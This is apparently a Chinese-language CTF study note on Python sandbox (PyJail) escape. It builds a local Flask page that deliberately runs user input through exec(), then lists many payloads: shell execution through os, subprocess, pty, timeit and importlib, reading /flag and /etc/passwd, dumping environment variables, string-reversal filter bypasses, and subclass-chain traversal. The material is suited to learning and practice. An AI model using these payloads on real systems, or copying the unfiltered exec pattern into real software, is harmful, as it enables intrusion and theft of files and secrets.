# 沙箱逃逸
参考:https://www.freebuf.com/articles/web/422169.html
https://www.freebuf.com/articles/system/203208.html
沙箱是一种安全机制,用于为运行中的程序提供一个隔离的环境
系统把不信任的程序(比如网页上的 JavaScript、下载的未知文件、或者某个特定的应用)放在沙箱里运行。在这个环境里,程序只能访问被严格限制的资源(如少量的内存、特定的临时文件夹),它无法读取私人文件、修改操作系统核心设置或感染其他程序。
那么沙箱逃逸就是指被隔离在沙箱内部的恶意代码,利用了沙箱本身的漏洞或配置缺陷,打破了隔离边界,成功获取了沙箱外部系统(宿主机操作系统)的访问权限。
这里我在kali虚拟机上直接搭建了一个形似CTF题目环境的本地测试页面:
# app.py
from flask import Flask, request, render_template_string
import sys
import io
app = Flask(__name__)
# 这是一个极简的 HTML 前端模板,自带黑客风样式
HTML_TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
<title>在线 PyJail 靶场</title>
<style>
body { font-family: monospace; background: #1e1e1e; color: #d4d4d4; padding: 20px; }
textarea { width: 100%; height: 200px; background: #2d2d2d; color: #00ff00; border: 1px solid #555; padding: 10px; font-family: inherit; font-size: 16px;}
input[type="submit"] { background: #007acc; color: white; border: none; padding: 10px 20px; cursor: pointer; margin-top: 10px; font-size: 16px;}
input[type="submit"]:hover { background: #005f9e; }
pre { background: #000; padding: 15px; border-left: 5px solid #00ff00; overflow-x: auto; color: #00ff00;}
</style>
</head>
<body>
<h2>🐍 危险的在线 Python 沙箱 (Web RCE)</h2>
<p>在此输入你的 Python Payload:</p>
<form method="POST">
<textarea name="code" placeholder="输入 Python 代码,例如: print('Hello Hacker!')"></textarea><br>
<input type="submit" value="执行代码 (Execute)">
</form>
<!--swig0-->
</body>
</html>
"""
@app.route('/', methods=['GET', 'POST'])
def index():
result = None
if request.method == 'POST':
# 1. 获取用户在网页文本框里填写的代码
code = request.form.get('code', '')
# 2. 准备捕获 Python 的标准输出 (将 print 的内容拦截下来显示在网页上)
old_stdout = sys.stdout
redirected_output = sys.stdout = io.StringIO()
try:
# 3. 核心漏洞:没有任何过滤,直接执行用户输入的代码!
exec(code)
# 4. 获取执行期间所有 print 出来的内容
result = redirected_output.getvalue()
if not result:
result = "[执行成功,但没有输出任何内容]"
except Exception as e:
# 如果代码报错,把错误信息返回给网页
result = f"[运行报错] {str(e)}"
finally:
# 5. 恢复系统的标准输出(重要收尾工作)
sys.stdout = old_stdout
return render_template_string(HTML_TEMPLATE, result=result)
if __name__ == '__main__':
# 启动 Web 服务,监听 5000 端口
app.run(host='0.0.0.0', port=5000, debug=True)
# 命令执行
python中可以执行系统命令的有:
os
commands:仅限2.x
subprocess
timeit:timeit.sys、timeit.timeit("__import__('os').system('whoami')", number=1)
platform:platform.os、platform.sys、platform.popen('whoami', mode='r', bufsize=-1).read()
pty:pty.spawn('ls')、pty.os
bdb:bdb.os、cgi.sys
cgi:cgi.os、cgi.sys
...
# os
import os 引入python标准库中的os模块
result=os.popen('cat /flag').read() 执行命令并将命令执行结果塞入到管道中,通过read()转换为字符串赋值给result变量
print(result) 输出命令执行的结果
在某些条件下也可以使用:
import os
os.system('cat /flag')
可能会导致执行shell命令不会返回shell的输出

# commands
commands命令是python2.x版本下可以使用的:
import commands
commands.getstatusoutput("ls") 执行系统命令,并只返回命令的输出结果(字符串)
commands.getoutput("ls") 执行系统命令,并返回一个元组 (Tuple):(状态码, 输出结果)
commands.getstatus("ls") 执行了 ls -ld 文件名,返回这个文件的权限和属性信息
# ctypes
import ctypes
ctypes.CDLL(None).system('cat /flag'.encode())
上面这串payload同样可以执行成功但是没有回显

# subprocess
通过这个模块我们可以更方便看到命令执行的回显内容
import subprocess 引入Python的子进程管理模块
print(subprocess.getoutput('cat /flag'))
这行代码会开辟一个子进程去启动Linux shell,之后他会将输出端接上管道转换为字符串用print输出出来

除此之外我们可以利用
import subprocess
# capture_output=True 负责把数据截获下来,text=True 负责把字节流转成字符串
result = subprocess.run('cat /flag', shell=True, capture_output=True, text=True)
print(result.stdout)

还有:
import subprocess
# 1. 启动进程,并强行把它的标准输出 (stdout) 接上一根内部pipe (subprocess.PIPE)
proc = subprocess.Popen('cat /flag', shell=True, stdout=subprocess.PIPE)
# 2. 读取pipe里的内容,并解码成字符串
# communicate()[0] 是获取标准输出的标准做法,并且它会等待命令执行完毕
result = proc.communicate()[0].decode()
print(result)

# pty
import pty
pty.spawn("ls")
这种payload直接输入也是没有回显的,除非我们将他输出的字符串写入到其他文件中,并且利用python的文件读取功能:
import pty
import os
pty.spawn(['/bin/sh', '-c', 'cat /flag > /tmp/1.txt'])
result = open('/tmp/1.txt').read()
print(result)

值得注意的是:pty.spawn会将整个字符串当作文件名执行,如果我们传入pty.spawn("cat /flag"),那么他就会去寻找cat /flag这个可执行文件,所以我们必须使用列表的形式传给他:
pty.spawn(['cat', '/flag'])
# timeit
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
import timeit
# 让底层 shell 把结果写进 1.txt
timeit.timeit("__import__('os').system('cat /flag > 1.txt')", number=1)
print(open('1.txt').read())

# platform
import platform
print(platform.popen('dir').read())
这个和 commands一样也只能用于python2环境
# importlib
import importlib
importlib.import_module('os').system('cat /flag > /tmp/1.txt')
print(open('/tmp/1.txt').read())

或者可以:
import importlib
result = importlib.import_module('os').popen('cat /flag').read()
print(result)
# sys
import sys
result=sys.modules['os'].popen('cat /flag').read()
print(result)

这里利用的是popen而不是system,是因为用system就不能使用.read()方法
# linecache
import linecache
linecache.os.system('ls')
在使用这个之前可以尝试print(dir(linecache))看看该版本的python下有没有os直接属性
# 读写文件
# file类(python2)
file('test.txt').read()
# open函数
open('/etc/passwd').read()
__builtins__.open('/etc/passwd').read()
__import__("builtins").open('/etc/passwd').read()
直接使用这些是没有回显的,所以需要print输出一下



# codecs模块
import codecs
print(codecs.open('/flag').read())

# getline函数
print(__import__("linecache").getline('/flag',1))
#第二个参数是指定行号

# getlines函数
import linecache
print(linecache.getlines('/flag'))
print(__import__("linecache").getlines('/etc/passwd'))


# license函数
__builtins__.__dict__["license"]._Printer__filenames=["/flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

# 枚举目录
# os模块
import os
print(os.listdir("/"))
print(__import__('os').listdir('/'))

# glob模块
import glob
print(glob.glob("/f*"))
print(__import__('glob').glob("/f*"))

这段payload可以查看根目录下是否存在以f开头的目录或文件
# 获取环境信息
# popen
import os
print(os.popen('env').read())

直接env可以查看所有环境变量中的内容,加上grep FLAG就会单独输出这个值
# environ
import os
print(os.environ)

# sys模块
import sys
print(sys.version)
#这串payload可以用来查看python版本

# 一些绕过手段
# 拼接绕过
b = 'o'
a = 's'
__import__(b+a).popen('cat /flag').read()

# 利用字符串的变化处理os
print(__import__('so'[::-1]).popen('cat /flag').read())

还可以利用 eval 或者 exec:
print(eval(')(daer.)"galf/ tac"(nepop.)"so"(__tropmi__'[::-1]))

exec('))(daer.)"galf/ tac"(nepop.so(tnirp ;so tropmi'[::-1])

# match case语法绕过getattr()限制
match object:
case object(__subclasses__=subclasses):
print(subclasses())

但是match语法也可能在 AST 层面被过滤,即 ast.Match
# 通过继承关系逃逸
这里特别像SSTI了,通过一连串的继承关系去找到os或其他执行命令,这里就不过多赘述了,主要给一些语句:
print([index for index, cls in enumerate("".__class__.__bases__[0].__subclasses__()) if 'os._wrap_close' in str(cls)])
//这个print语句可以查找os_wrap_close在列表的第一个位置
print('\n'.join([f"[{i}] {c}" for i, c in enumerate("".__class__.__bases__[0].__subclasses__())]))
//这个print语句可以循环输出object的所有子类并标上序号

[158] <class 'os._wrap_close'>
这里我的os类在158位

for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print (i)
//如果是python2可以用这个
